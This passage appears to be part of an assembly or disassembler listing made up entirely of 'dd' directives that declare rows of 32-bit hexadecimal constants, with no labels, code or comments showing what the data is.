		dd 906A0ED0h, 0B2F3868h, 0D84AD494h, 61703304h,	86708071h
		dd 8492C40Dh, 116CE404h, 80C0EC43h, 807DB794h, 2C607049h
		dd 1BDB2281h, 8448CAF4h, 1A36C0B8h, 2800FB88h, 7D239EE7h
		dd 155F2CCh, 0EB17E127h, 26BD4B2Ah, 32F5020Ch, 67EF057Ch
		dd 0ED530090h, 59994332h, 68ADE010h, 3CC0EF88h,	4819B87Eh
		dd 0F4E0C82Ch, 88007E43h, 6C5734C6h, 2366F59h, 4409768Fh
		dd 0B4472F37h, 7663E5C4h, 9412C8B6h, 943006DCh,	0B8F1B844h
		dd 0FA8C1EE0h, 3CF00A07h, 1B540D0h, 0C16A04Ah, 0E420EF78h
		dd 846B7A89h, 0E8059444h, 24CA447h, 64FCCF8Fh, 65767Eh
		dd 0D1D8B180h, 1672EB6h, 689C958Bh, 80E6E414h, 8297F468h
		dd 3A5349B0h, 45DA866h,	655A8300h, 239B3ED0h, 80258C39h
		dd 5580A3EBh, 18F0FE7h,	96335E51h, 8088F858h, 0FE40D8E9h
		dd 0F97C7B32h, 2A444CE2h, 0E8C0A235h, 1EEE0322h, 0A573949Fh
		dd 24B00AA1h, 0EB605338h, 2A0D5DB9h, 0C7840078h, 0F9B9FD12h
		dd 0B3498C70h, 583A9664h, 440CB423h, 0DEC1FEECh, 0C1AAD040h
		dd 343973A5h, 8432C021h, 73AD86C0h, 2D01AB03h, 0CE946AC4h
		dd 78209059h, 0B4F4A09Dh, 20F0D452h, 76004623h,	1664F9CFh
		dd 0F4448675h, 0D1D702A6h, 0B980A499h, 77C9C860h, 67530090h
		dd 88F226D8h, 0BC8CE000h, 0EC55C5h, 3BA42103h, 5D7C69A2h
		dd 0D91CF14h, 15B304D0h, 9082F72Fh, 486032F4h, 245C19B9h
		dd 98E7E320h, 0F0237Eh,	46CE15Fh, 35DE0BF7h, 0A016891h
		dd 0B1416BCCh, 0A98EC500h, 0A8260C98h, 6401CBBh, 0E24107D1h
		dd 59B70058h, 61B11581h, 4F02520Ah, 983568D7h, 6D65E203h
		dd 0F07EE710h, 8F34F2BFh, 0E480A860h, 265CE9C8h, 80849318h
		dd 5335D576h, 6CB0FD7Eh, 80632545h, 2830B8A2h, 4517E29h
		dd 86F5BFCCh, 532C880Bh, 9BE4EF54h, 0C1C2281Fh,	4843D89Ch
		dd 0A0C9B8E1h, 2E6093Fh, 0D75D70AAh, 0A4649283h, 90BC3154h
		dd 0C41C070Ah, 0AC12AC40h, 5F3D460h, 6FD2005Bh,	0D30C23B7h
		dd 0DD01EAACh, 63CF54F5h, 74706CECh, 267802F1h,	6970344Ah
		dd 960D7C50h, 483E4BE4h, 3A61E820h, 9784F07h, 87D4C022h
		dd 0E9647C8Eh, 1E35DB0h, 64F7CF7Ch, 88F318E6h, 0D101E5B0h
		dd 0AC419C28h, 80CAFB1Ah, 131994BCh, 0C6B8A881h, 2B6D129Fh
		dd 738C3ABFh, 0C32A188Ch, 181766C0h, 0B203330Eh, 25686919h
		dd 48064EE5h, 10851DFh,	0E140F765h, 240AB26Ah, 0E0F3E320h
		dd 0B654A98Ah, 850728DCh, 7B268D5Ch, 5D71400Eh,	66D61C4h
		dd 0E44A9BFAh, 8A319164h, 1A75613Ah, 3688F0h, 98103B5Bh
		dd 0BC535AF1h, 0B2DF900h, 0DD1A3889h, 0A02900ACh, 117764F8h
		dd 9FEA2188h, 0C5524600h, 3344CCA4h, 0D01F48AFh, 8035CB1Ch
		dd 964A07F4h, 0F8601404h, 0B2D9F0D8h, 3EE604B1h, 0A2C78B88h
		dd 0CCBE1678h, 0D6B8DC00h, 981E65Dh, 97EBC785h,	56D32000h
		dd 5C3B54F7h, 0C93F1280h, 12F92086h, 20F9C246h,	0DA8DB1E8h
		dd 0C4042398h, 0E890ECACh, 0AFE2DCA2h, 0C84F30h, 0CE972210h
		dd 0F18257E1h, 4C62693Dh, 0C4C30048h, 0BD21B4B0h, 454902BFh
		dd 0BDEFB52h, 0E04BFC44h, 704C1C41h, 0F0646A39h, 7830489h
		dd 0C2D6935Ch, 58111Ch,	6F73E306h, 0F4189F9h, 5B23565Ah
		dd 0D04847A7h, 7A97BD55h, 0EBE5020Ah, 0B34068E3h, 21343B73h
		dd 0B1914EC3h, 73BC1D70h, 84944099h, 0B96EB432h, 22906C60h
		dd 3D05EBB7h, 0FB28BA20h, 3F8020D8h, 786BE84Bh,	6AF43600h
		dd 6FF0A0C8h, 65106900h, 0EB7DC335h, 0C7251364h, 0C68029Eh
		dd 0E48A6814h, 0F44676D4h, 1048FC00h, 5D5E9DAFh, 0D0668630h
		dd 0C95BE7DBh, 0B840F6C0h, 6F0E1159h, 520C18D6h, 5D685C02h
		dd 83050ECh, 0ACB4340Ah, 0DC5CAD00h, 133ECBF3h,	251BF08h
		dd 0A6EFCC64h, 4AFB300h, 49EE40C4h, 0A4A86D24h,	0E3DC3884h
		dd 1F454CD0h, 414189Fh,	0CE8DB0DEh, 0B85EC928h,	5C92F824h
		dd 188B2B92h, 304B7984h, 0AD886CFh, 0B3A855C1h,	0E6F680BCh
		dd 0AF5F4FB1h, 8C5CA779h, 0F8F04CCh, 68023FE4h,	0D468E5C5h
		dd 1F011BD8h, 0B0C82216h, 0EC382BAAh, 1D8C86B8h, 0C1127A19h
		dd 7FC8F9B8h, 0EB2824C5h, 6AE49400h, 0C1FB019Bh, 13B6126Fh
		dd 9DF81E9Ah, 6E0700C2h, 0FB3A7CB4h, 0AC560504h, 0D4827BD7h
		dd 4ECCCF0h, 19B57E3Bh,	203D6244h, 127E42F3h, 655E1100h
		dd 9831B518h, 0C27102BAh, 0D8688059h, 19382468h, 30A12F01h
		dd 74B5D7C6h, 0D1A2A884h, 519B8649h, 0C72EDE74h, 0AC85F04Bh
		dd 0D45F6EF9h, 8F6B8240h, 0AA0EB52h, 46940B19h,	177C3CF4h
		dd 54B7130h, 22C48628h,	0E430BCECh, 5890832h, 78645187h
		dd 32FC5040h, 0C100D9E3h, 49C82A56h, 240AA9CEh,	1F68FF62h
		dd 0A4B0E0EFh, 20C9144h, 5C4AAB56h, 0AC72BF3Ch,	6035DD44h
		dd 6B9D999h, 0D000B1D6h, 0AFBC9C94h, 9314D11h, 0EAC98B8Fh
		dd 0E466C0A9h, 60F2E09Fh, 8A9A1258h, 188CC197h,	117E90Bh
		dd 91606886h, 80E09653h, 0F964C905h, 8A60022Ah,	0AAA2E49h
		dd 25B400F7h, 0D9F10F0Bh, 44617A09h, 0F53A7BB6h, 4B94DC70h
		dd 23502FAAh, 52F600FFh, 4BC868AEh, 541EAA4Ah, 2174C02Eh
		dd 14894B7Ch, 22798047h, 11CE88h, 3CCC6525h, 0B2B46F67h
		dd 518CBA3Ch, 9ACC0778h, 428000C3h, 75EDD9E1h, 1FDE3B13h
		dd 201888C8h, 8C1250E8h, 0C040D625h, 0B29C637h,	0DCD894B8h
		dd 8088960Fh, 67C5E1EDh, 890097A5h, 0A8B13D8Bh,	0BB256A02h
		dd 300C44B5h, 0E88849ACh, 0CA308E12h, 9DC294Ah,	0F3832DA8h
		dd 0B891989Dh, 2463EC80h
		dd 3B005D18h, 6DDE860Fh, 290F25Fh, 9F087049h, 0F0418E59h
		dd 83E18F1h, 1C19AE7Eh,	0EE4448C4h, 0BC00C045h,	1D747BC6h
		dd 0EC44060Ch, 4FDCC83Bh, 2118570Dh, 7D6449D4h,	725B003Ch
		dd 4A7A1490h, 0FC6C1CE1h, 34590543h, 8EC442E2h,	4470D740h
		dd 0CF201100h, 580A9FEEh, 32E890F7h, 0C4614B5Ah, 0C90FD423h
		dd 21C08C40h, 0DCAA0C58h, 0AFE0CC34h, 0B6463C90h, 8F32FA02h
		dd 7A31D705h, 32F25610h, 5B0FBEECh, 0C03948BBh,	9E686EDh
		dd 270CEE9Fh, 0A02761CCh, 475D245Ch, 7C48D3CAh,	0B300F346h
		dd 0BD9EA8ECh, 0A93037E5h, 12CEE1BAh, 647C0005h, 0E2517D34h
		dd 0CB09A3E4h, 8048680Ch, 0A79BBE88h, 0BBB01F9h, 55F33397h
		dd 0DE9C318Ah, 850CDC01h, 90A98052h, 1F15E2CCh,	988488h
		dd 0F420BE08h, 4D03650Ch, 9C1B40CDh, 151489B3h,	9084682Ch
		dd 73BA30AAh, 0AB341038h, 0C28BB04Eh, 3CD11E73h, 354C84E0h
		dd 349CC74Bh, 0C23600FAh, 4114289h, 3C06D15Ah, 0AE6CE4C8h
		dd 0F0418E11h, 4344CE0Ch, 8060F936h, 0B16075C9h, 19EC0774h
		dd 10374A4Eh, 11F40DE3h, 89D270Eh, 1CC0561Ch, 60A57AACh
		dd 13913852h, 0E4001B7Fh, 0DA5D45CBh, 5439989Ch, 26479C82h
		dd 6E0C8EF5h, 40E43FCAh, 0C5982211h, 0E88C2658h, 0C008CA4h
		dd 9B601045h, 30C263D3h, 16218B8Ah, 5400B888h, 19722638h
		dd 2FBCEE5Eh, 0CC17ECA5h, 0D585A411h, 388004B1h, 0D68014Fh
		dd 3C30A14Bh, 0A475488Ah, 90A16C22h, 8F618C2h, 0F7057B32h
		dd 524078C4h, 9E6E32EEh, 0F28AAA03h, 6135398h, 5734ECA1h
		dd 0D76468C1h, 30CBEB50h, 0E4C0A4C8h, 0A118EABh, 4CA59295h
		dd 40C580DCh, 6D5637E1h, 18853900h, 0C7F52C81h,	0B47A4C23h
		dd 1109F322h, 4130E556h, 0A06953F4h, 2E84B100h,	4738B892h
		dd 0CE50F6E8h, 3B40BC94h, 7EEC26BAh, 0B74674B8h, 0A0296700h
		dd 9D828A40h, 0CA2EF909h, 407C9283h, 0E7ADDFCh,	24198E1Bh
		dd 6090AAA9h, 0B80B0133h, 855F0F1Eh, 90137BC4h,	64CBC012h
		dd 40CFE5C8h, 622669CDh, 495B7D11h, 0F890680Eh,	464386E8h
		dd 0F8037701h, 20CFC42Ch, 13241980h, 0DE81E4FCh, 0AED6BC5Ch
		dd 897A3026h, 2168768Eh, 37900206h, 0BC81AD1Ch,	258FF38Ah
		dd 0DEAC4B18h, 86C203E3h, 7C0B7AAh, 3725CB40h, 9F74005Fh
		dd 0C0FD5360h, 16611C81h, 0C5076329h, 0AFB3DC12h, 0DA8B4E70h
		dd 4A140430h, 0A4EC316Ch, 0B0016A84h, 3490CB01h, 907D0F9Dh
		dd 7F31304Ch, 50BFA9C9h, 80011BE4h, 2CC6093Ch, 3E428419h
		dd 0EA34E1C3h, 44F3C044h, 0E83184A2h, 1188022Ah, 4D2C68Eh
		dd 92B1CE3Eh, 9C81495Eh, 79A6EA70h, 0C0503F8h, 497781F9h
		dd 756ACA00h, 0F257D373h, 39C37D07h, 2B81A9C9h,	0DB2C101Bh
		dd 2C67C919h, 0ECF90A98h, 7F048B5Ch, 0F0E2D6A7h, 7498F222h
		dd 7B014346h, 0DE64F8CFh, 0AD090B74h, 3F00D1E4h, 404F7A05h
		dd 0FFA85A15h, 5EBD00A0h, 0E66B667Dh, 2E2C4A80h, 387923D8h
		dd 0B883E580h, 0FB811015h, 0DE0690BEh, 499320h,	331D5D8h
		dd 0A9A65471h, 0BD599E00h, 1C95D221h, 0E4533F49h, 85E2DD82h
		dd 3CF2F9EEh, 0B458F000h, 4C4A69F3h, 0CC3A002Ah, 8D5C5562h
		dd 0AC913DA8h, 0C81884D1h, 0D8347605h, 34F46489h, 59D60049h
		dd 8C31A37h, 0E14E0F9Eh, 0FA23C83Eh, 8E687A0Fh,	18238009h
		dd 0A0E94803h, 7F8059F0h, 7670BE89h, 0B5004846h, 0BFB356D2h
		dd 34FDA7E1h, 400F7D4h,	37B978A5h, 997C254h, 440AB273h
		dd 0D6A2010h, 1898C77Ah, 80D44148h, 115AD9E1h, 80B34DF5h
		dd 0CF56DC00h, 0F80B3CCBh, 0DA8850Fh, 0B0CFD613h, 0AC2AF88h
		dd 9754C0D7h, 24E482A6h, 7A02AF01h, 0BA857851h,	1980AEFDh
		dd 2066F289h, 25074ABDh, 0DCD5FB24h, 0E4F8E509h, 71C164C2h
		dd 0E6E4499Eh, 126B9804h, 801B6FC7h, 8131824h, 1390485Dh
		dd 81149B6Ah, 48C74B4h,	64DECF89h, 0B014A8EEh, 3CF7A9Fh
		dd 8AAD5722h, 92B2DE6Fh, 0C0700A22h, 0AA968F08h, 8CC480h
		dd 2BE1CD51h, 0C2B5B45Eh, 5F494C00h, 51EC628h, 0DC181312h
		dd 0DDD800A8h, 0D83D8584h, 4C00755Fh, 0ADAE25A1h, 0B0906E3h
		dd 7094FAC7h, 3CFB0C04h, 388014D5h, 533A7B42h, 0BC201C3Eh
		dd 149A76F4h, 0B677C700h, 96E660D6h, 890C2h, 1473555Ch
		dd 8C340A4Fh, 258BA09Eh, 0E05C437Bh, 4076C0Bh, 794D6036h
		dd 40E5843Ah, 0B12DD988h, 9F01C9A3h, 89AB6FF9h,	0A2ED070Ch
		dd 0A3E8B02Ch, 0D43E038Ch, 0ACF18AE6h, 0CF60C89Dh, 98D5A700h
		dd 76A03E9Dh, 0C22E0010h, 3651579Ah, 8E07F3D1h,	0DE9F1EC5h
		dd 0C33568F1h, 94A80C64h, 0D03280F8h, 2839B6F8h, 0DB0042F6h
		dd 0CF028A43h, 7B5261h,	0F2AA6DCh, 8DCD6FC8h, 58FAA4A3h
		dd 0DAF8FC74h, 33ED0704h, 0F0850702h, 929408D4h, 8000D17Ch
		dd 953DE829h, 0EBE72Eh,	0A9FF44DFh, 218C90C6h, 0E00020E8h
		dd 0CD28E5FDh, 368010h,	0DC87FF4Bh, 0E3193B14h,	0D0C6CB4Ah
		dd 0CA116E0h, 49F881C4h, 0BC8696Bh, 6167E318h, 7C3A3D64h
		dd 4486F49Ch, 442708D8h, 5E2C80A0h, 9D1731BDh, 180F8818h
		dd 54A13024h, 0F6838582h, 23209EC2h, 2C16843Eh,	7D8800CBh
		dd 5D6355C1h, 3E1DD5C0h, 0DB001B41h, 7711167Fh,	80B6CE1h
		dd 97053F99h, 80F891E8h, 99C15512h, 0A3CD18E0h,	3A745022h
		dd 20112F04h, 0F08215B5h, 5C00E2D0h, 0E0878238h, 0C4566393h
		dd 38B484C4h, 0CCF8FBh,	412311FEh, 93AFF287h, 0D112B501h
		dd 66B82FE2h, 90B7064h,	9B924043h, 315B459h, 3EF7A864h
		dd 0C6049C22h, 0C0B6F5FCh, 5E1E027Ch, 11781D9Dh, 72678048h
		dd 13866922h, 3A769E09h, 3FFA2394h, 23815C38h, 0B223EDCh
		dd 0E86424A8h, 340FEF5Fh, 0CBD0409Ch, 1643AACDh, 4020EC33h
		dd 0D95E9850h, 0EF2634E4h, 0A91344A3h, 6F7284F4h, 6AE308EDh
		dd 73E24103h, 0F94F1464h, 0B08074D0h, 0BB2000CBh, 0F769381Fh
		dd 0E425937Eh, 0FF4EB37h, 4B0AB040h, 5A8EA748h,	5F39A160h
		dd 0AC7084FFh, 0DECB378Dh, 86F047D9h, 0B5F08941h, 284C9258h
		dd 111328B3h, 0E88BE539h, 0C5C09E88h, 47F84BAh,	0ECAEF188h
		dd 0F20CF290h, 464D30B4h, 0A50B8501h, 0B70A2F59h, 909C0F70h
		dd 4BCC2ED0h, 19C00214h, 0C8A324FBh, 94D96AFCh,	33AC5012h
		dd 0C858D570h, 0D00A009Ch, 0E7356A9Eh, 0BA89805h, 66D40B62h
		dd 0EB9AFCA0h, 51C99BC5h, 8724D34Dh, 70CEA3CAh,	6C5B124Ah
		dd 0F753E1Eh, 0F12D0EC9h, 189E7930h, 45240556h,	0B468F3E0h
		dd 0A3011100h, 0F67C3080h, 3180ADA7h, 54C35D6Fh, 4639D3E6h
		dd 1F940002h, 0C9E87DDCh, 0A45C0951h, 0B8D19D2Dh, 1BDE5B80h
		dd 1214C6D5h, 0F20C4A88h, 0E4BE2558h, 56F084h, 54E9B98Dh
		dd 3F04D42h, 4CC9C4Dh, 2AFA8EF9h, 7DE148B2h, 480C4Bh, 0DFBEF17h
		dd 341C6ED0h, 0B8340773h, 0C404A053h, 88849FD3h, 7BF2C0F2h
		dd 72A330h, 0DE509723h,	0C6B69E4h, 9E5C4413h, 4B6768D0h
		dd 0D02F807Fh, 4F3C3650h, 10D88F41h, 13809E40h,	6CCA48Ah
		dd 0D7C95207h, 60CE7D29h, 5FB8CFA1h, 0E73C1C7Eh, 0F06CCFAEh
		dd 0ED9C61D3h, 0F22C3209h, 3A7D30F3h, 386E1303h, 0E3311AD2h
		dd 4182D268h, 2039F838h, 0C091451Fh, 0BD75B54Eh, 9A7EAFB6h
		dd 74795600h, 0EBA8BC06h, 285D2F6Ah, 0A0292880h, 4EF809D7h
		dd 1F38EF50h, 7CCD7B00h, 526BE2D6h, 0C6840047h,	40C313AEh
		dd 0E3FE2211h, 0EE00097h, 90835765h, 794912A0h,	0A7E0E06Bh
		dd 25C54A40h
		dd 488AE5D7h, 0D649C12Ch, 39B4359Ah, 12CAC4Ch, 5CCCA732h
		dd 3B12BCE4h, 0C78AF401h, 0E048A273h, 0A99E40E7h, 0C242097h
		dd 399A0370h, 3C2797D2h, 7A24B8C6h, 465E602Ch, 9DCB3F79h
		dd 0C86E9B3Fh, 6AA9EC18h, 0F52900A9h, 0FB257522h, 0F49821ADh
		dd 4ABBA4Dh, 907F2444h,	0E6D280F9h, 6A94E068h, 9F24042Dh
		dd 0F80BEBE9h, 200F800Ch, 771276A7h, 0F8979596h, 7F81B891h
		dd 0CC7DD89Bh, 8B48D641h, 0C8DF27A0h, 0B57AB9C4h, 4891FC1Dh
		dd 3C533180h, 810FA7B2h, 9DD83432h, 8609C868h, 0D90C7BDEh
		dd 42FB928h, 0FF118817h, 6AAF2181h, 482C3008h, 0FCB580h
		dd 5C6FAEDBh, 3849EC56h, 51BF1003h, 0DE717E46h,	3EED46D0h
		dd 19BA893Ah, 60D4F13Ch, 0F07E41CAh, 0ED421802h, 7CA22205h
		dd 4E76EFCh, 8C2409D0h,	0D70CF941h, 0AFC814CAh,	0DEF53DC0h
		dd 7CC858BEh, 0B0031905h, 0B1CC21EEh, 0EDC3017Dh, 8D2C606Ah
		dd 25C5719h, 0BB1B811Ch, 0C9F12139h, 0D9030432h, 0FD480307h
		dd 7C2259BFh, 80D25440h, 6247F400h, 37018E22h, 9F7A2Dh
		dd 3590C45Ah, 0C169B9E6h, 0DEC63D05h, 6CA40D86h, 800B17EDh
		dd 0D4203035h, 0E30053B5h, 0E164096Bh, 48A8B16Ch, 6A12A642h
		dd 3E24F194h, 14F27464h, 0F9C098B7h, 0EE4D6392h, 4B030C3Ch
		dd 0DF21694Ah, 0F8F8A95Ch, 0E5018CF6h, 0CB475C89h, 133E420Eh
		dd 9B5C13A8h, 0F928C0B0h, 5E906B8h, 57DB22FEh, 0A054A850h
		dd 943724DFh, 5E7C80D0h, 77AC508h, 0C8D64E5Ah, 0E13003F8h
		dd 195BBCCEh, 0FC88A8D0h, 60860C01h, 3A7C9BC6h,	61B7D041h
		dd 4EF6C848h, 0A35088C1h, 6733B500h, 5D50FAA0h,	7ED44860h
		dd 89190174h, 0B3C10DE1h, 40488992h, 59FC9AAFh,	18BA7984h
		dd 0DFC60B29h, 18146679h, 0F75ED09Ch, 631E7618h, 0A2C0A583h
		dd 8CC2DEFAh, 308F5CADh, 79AA3C10h, 97972AFAh, 89851190h
		dd 78E4E3h, 0F28FBD4Ah,	1FB421E8h, 94195000h, 0C4E4FB43h
		dd 64B04886h, 64F53F01h, 73BB3335h, 4684E168h, 0C8F80F0Ch
		dd 6BE1D716h, 0CBC1B840h, 74BB57Dh, 13184C87h, 0CE01C4C4h
		dd 0C0B4C82Ch, 0F9DABCDBh, 85C83CA3h, 0AC77493Dh, 147D2F0Fh
		dd 0CC1C0326h, 0FE81FC8Dh, 0D220CA20h, 683795C7h, 37969C81h
		dd 90B2A1C6h, 0F520A340h, 68E102h, 10354F60h, 3C38C222h
		dd 32C35D01h, 6FEA2699h, 3E30306Eh, 610CE9E4h, 89C6CA8Eh
		dd 7035B505h, 0D6EB80BAh, 5167C66Ch, 8913857Eh,	123483Ah
		dd 2450AA02h, 2950E85Fh, 9CB70440h, 0E00E1121h,	0B5134C08h
		dd 243A8917h, 803AF823h, 70884731h, 9026775Fh, 6D7D2EACh
		dd 803350D0h, 6684C511h, 0E0D0A6D2h, 2FA8884h, 68A84A94h
		dd 78D6C1AFh, 4AC501DCh, 83E30B74h, 70A986E7h, 25C07581h
		dd 6841D00Ah, 48921842h, 7638B0CFh, 0B2C08CD2h,	0E14CD1E3h
		dd 0DDA02400h, 49947097h, 0A621ECEh, 9054921Ch,	7DABCB1Ch
		dd 11701D95h, 4F888F87h, 0C86A50Dh, 31808E4h, 8FCE757Eh
		dd 0A0A3BC60h, 0C6306002h, 8094A96Fh, 3C0A04C0h, 88516110h
		dd 480C9FC2h, 0AE17F49Ch, 50B64F89h, 0AA5E4E0h,	44627B1Dh
		dd 1A375540h, 0C31696Ch, 8CA96E94h, 0FB131880h,	7CB0E860h
		dd 9B3B4F6Ah, 0B150801Ch, 160BA524h, 90644A79h,	87E322D8h
		dd 4AC53C40h, 80E8DBF9h, 6361DB68h, 7004BB05h, 500319A7h
		dd 677DC045h, 8A72E106h, 0C8800914h, 7BE868C1h,	7400C06Bh
		dd 3260CDCEh, 5C941610h, 50BCDB52h, 0F00B8F5h, 22117B02h
		dd 0C0E64E9Ah, 3925AF21h, 0EFECD77h, 155EB209h,	76900169h
		dd 44CC502Ah, 0F340000Ah, 0C9FFE555h, 149EA8A6h, 5DF46D80h
		dd 0A4EF74h, 0BA785C0Ch, 6A92B02Eh, 0D0196B04h,	0BCE8CD66h
		dd 0D650AE80h, 0D87E02D5h, 8065363Bh, 48AFE268h, 0B6845F98h
		dd 0B7AE4008h, 3701323Ch, 86A18AB9h, 0ECEAA0BBh, 76930B10h
		dd 0F41C612Dh, 0B7C4BC85h, 0C1EB6260h, 7078931Fh, 0F07EF580h
		dd 5F7F0D64h, 4C4C08AAh, 0B8CAAF80h, 0C0B408h, 2DB5B019h
		dd 3D3E21C7h, 98B3C1FCh, 6826978h, 5C13197Eh, 0BD08E0FBh
		dd 967F1D6h, 40592AE1h,	2F187A71h, 42087B00h, 0C4549F38h
		dd 960C74ABh, 0F9DE8620h, 3A0E518Ch, 0E7806B51h, 7D002FC3h
		dd 0FBFAC8h, 0BB5500Ah,	0BD783390h, 9891855Fh, 476EF848h
		dd 0E28314B0h, 0A0CA298Ah, 0DC18FCh, 3CBDD4ADh,	89D36F11h
		dd 0D5355E16h, 98FCA085h, 464385BCh, 3409EF04h,	25A8BCB4h
		dd 7A0646Dh, 43A416F6h,	0FA6AB0E1h, 0C101FB40h,	0BAC309E4h
		dd 0B6E0609Fh, 0F53C1E8Fh, 2F2953B3h, 4B7A1064h, 9AB918C0h
		dd 8B0229D0h, 4AF7817h,	26B058ECh, 416C84F1h, 0E022DC6Ah
		dd 0F91D1BCAh, 0F971BD68h, 0E8225431h, 0DE2D3A00h, 0AFFE5B0Ah
		dd 13F06C0Ah, 8611B430h, 93515F00h, 0F91FA6A0h,	8D3FA701h
		dd 8202A9C1h, 0EE84B980h, 1C3C2B18h, 0A4499500h, 0BE0F9A99h
		dd 5EA63D1Fh, 0CC4F79BAh, 0AD0BFAC0h, 1D9F7C19h, 80F91198h
		dd 570F0584h, 2AED01DFh, 0D68AA69h, 419064E7h, 8ECDE104h
		dd 34C43461h, 9EB890EDh, 8DE35B00h, 0F352BE2Ah,	0C090B596h
		dd 2D246E9Bh, 8425C88h,	54D06A4Ch, 9E465C98h, 5C490D00h
		dd 6CE1EE22h, 0A2BF5F00h, 3FD751DFh, 0D84095B4h, 0CEE40BC0h
		dd 0B57E2802h, 5222DEE0h, 1109C2Ch, 0A62C8CC3h,	3BC80BECh
		dd 0E88D9DC3h, 5EF8A9FBh, 4CC4887Bh, 0E84ACE00h, 6AAA1E36h
		dd 9DAF001Bh, 52F3D545h, 62136895h, 28C85A3Eh, 40031022h
		dd 80375EF9h, 6AC80BC2h, 179CFCB4h, 0C9A004C0h,	0A0D4F769h
		dd 54579B4h, 8DD85690h,	3110F4CAh, 50373525h, 18C6FCFCh
		dd 68729967h, 9CA894F9h, 1B0AB401h, 1CC98CC0h, 0A7E3AF05h
		dd 0A2046CE9h, 0C3E2B049h, 0C0EC4F69h, 6AF99EB1h, 3D38F51Dh
		dd 0A76C1967h, 2E01AC72h, 256E3C7Ch, 0CEFC2441h, 2D3D6A09h
		dd 0E30087A8h, 0A4B88A75h, 12FB009Eh, 0A02D0B9Fh, 2CB6CE29h
		dd 0DE500900h, 9E33AF0h, 6414A1B3h, 0E4C694A9h,	9740B8B4h
		dd 4AA262h, 0B6FFF2A8h,	3ECD5B28h, 65F3E902h, 54C85575h
		dd 5CBCC84Ch, 6E003D46h, 0DAA09D67h, 0C21223B3h, 3890F92Bh
		dd 4A5AC548h, 2DEB8FCh,	2F5607C6h, 303555ECh, 65335C80h
		dd 79116C2Ch, 3FFC0E4Dh, 0F1844408h, 0A2BCF3B0h, 0C6E330F6h
		dd 64C580BCh, 7F4A8E81h, 3670302Ah, 0F74CE9AEh,	0B43E0128h
		dd 3FE4BBF6h, 2846D4E0h, 2CCF9A2h, 6B741536h, 0DC90E33Bh
		dd 991242CCh, 0D41C535Ah, 9581FCD8h, 80F50098h,	482A1BF7h
		dd 55EEE92Fh, 0FB0A21ECh, 84183E74h, 10B28993h,	0F0337BF2h
		dd 7936B3B2h, 34FB5A83h, 88848E58h, 576FC07Dh, 0DB00737Fh
		dd 0A80BE69Fh, 6AEB31h,	43711162h, 0E8440581h, 125402BDh
		dd 2C35550Ch, 5482B711h, 0E84077BEh, 0F0768420h, 4C655C00h
		dd 854F1537h, 74D0BC9Bh, 4A01FA46h, 0B7408D3Dh,	0D0027A17h
		dd 0E2FF3564h, 0DE1C7CC8h, 0F83E1501h, 907889Ah, 46163C36h
		dd 88108BE5h, 9E16C0A3h, 0C5167709h, 0C42035FFh, 0F28921B9h
		dd 288E00D1h, 3C6E6737h, 0DE169FB6h, 9CC8B7BEh,	0EFF00097h
		dd 761535D1h, 0A195416Bh, 0B1D6E6B4h, 0E950C82Ah, 0A44CD200h
		dd 225DC5A0h, 0D94600F8h, 8E73D6FDh, 0DE12C62Dh, 0A4B88BC4h
		dd 0D8636A80h, 0F21F21A7h, 0BC3AEC57h, 0E58200D2h, 6D769E23h
		dd 0E0E89C78h, 0D72EBD19h, 0DFDD4838h, 5C910437h, 0BC214C90h
		dd 2E4E7868h, 0F9232Ch,	0C22ECE95h, 0AC04ECC7h,	19DE4A0Ch
		dd 6209C4FDh, 18A05BC8h
		dd 9A07356Ah, 3A7D4Ah, 0C04B7D10h, 3BA0C5DBh, 1DB30FEBh
		dd 34419347h, 2A963178h, 8E8C7C08h, 0B180BA71h,	1757D04h
		dd 0DC171290h, 7C8C2FD7h, 509795CAh, 0AC8F7B91h, 7CF2A7E0h
		dd 0B7052819h, 5E86966Fh, 3A0AE8F0h, 0C23C4282h, 3626BD01h
		dd 36E46947h, 0A0A92508h, 0B3968F40h, 98D03E4Fh, 528CC601h
		dd 207F75ADh, 68250B0Bh, 0A850C3DEh, 27D9A835h,	0C417A792h
		dd 604B7988h, 457DB11Fh, 0C642FA02h, 8295CD7Fh,	0F39B7B84h
		dd 0AE987878h, 0C636EA00h, 0CC031956h, 0EBB0C9F2h, 0B5F3F002h
		dd 0E49D803Dh, 130DC4EDh, 852A1839h, 9DFC596h, 2FD128D0h
		dd 58CE3AE1h, 99024E98h, 0C9017671h, 688DD9CFh,	22803C88h
		dd 0FBCDB645h, 9129748h, 5CE8FAFFh, 0D12D9087h,	526B0ADEh
		dd 8C72A998h, 87CB7539h, 8BED1EC9h, 64BEC0CFh, 7EDF271Dh
		dd 1559E02Fh, 0E849A7EEh, 0FC553D00h, 8F33AD7h,	69BD431Eh
		dd 0CF81F201h, 67C63B66h, 670144A0h, 0E30D6971h, 0DC94C2E2h
		dd 781A40B4h, 2F00426Ch, 0FBDE611h, 2EB3D58h, 84135B9Fh
		dd 3C416A2Ah, 5A3B00C1h, 80ED4A80h, 7E31804h, 0C817AC94h
		dd 13C550B0h, 91792D67h, 3F2A1CC4h, 0B423883Bh,	4FD69E00h
		dd 9FD00322h, 0DCF63C80h, 0BF0507FCh, 0FBDB1851h, 2D0BF4ACh
		dd 0A0C4E4AFh, 91C5478h, 81C06B47h, 85A5B1D3h, 5F4A2733h
		dd 8B7BD0A0h, 7002BF9Bh, 0B341BADEh, 7AE8833Eh,	0F382D207h
		dd 89FB703Ch, 0C1C070Bh, 24E4DA52h, 98DCB793h, 0ADF0E1B0h
		dd 0B3F1B200h, 0C5052304h, 762607D4h, 108C0A93h, 0DB0BA843h
		dd 0B05C6F20h, 0A735178Ch, 0E4D0B4B8h, 3CB2E207h, 0C00F7F71h
		dd 0C18FF1CAh, 2CEB032Bh, 934C0CC6h, 73721100h,	6206C77Fh
		dd 11FF0E9Ch, 0D89C9E7Ah, 6B5520C6h, 2C087F00h,	0B6E21DEh
		dd 0A02A38E1h, 43CCD480h, 0D032E67Ch, 0B080E703h, 423D347Fh
		dd 7EE23470h, 0EF7530h,	4BF85976h, 0BB48F82h, 9F7CBF18h
		dd 7ABD0h, 0F1DEF49Bh, 563F0509h, 4116DC00h, 2C42974Bh
		dd 0D8BF06A8h, 5963B232h, 0D6A5A306h, 189DA8Dh,	0C86BC092h
		dd 0E133FB90h, 43D7000Bh, 0C121C0CEh, 2CD26B06h, 0AE102A60h
		dd 0E8829807h, 786E8FFh, 487C2070h, 0B2E0210Ah,	96188040h
		dd 9236CBD4h, 0FDD03076h, 398B2B48h, 6303F970h,	6A3E1A4Dh
		dd 9C083055h, 0F9412A21h, 2DBC980Bh, 60060FBBh,	5DA7B0F3h
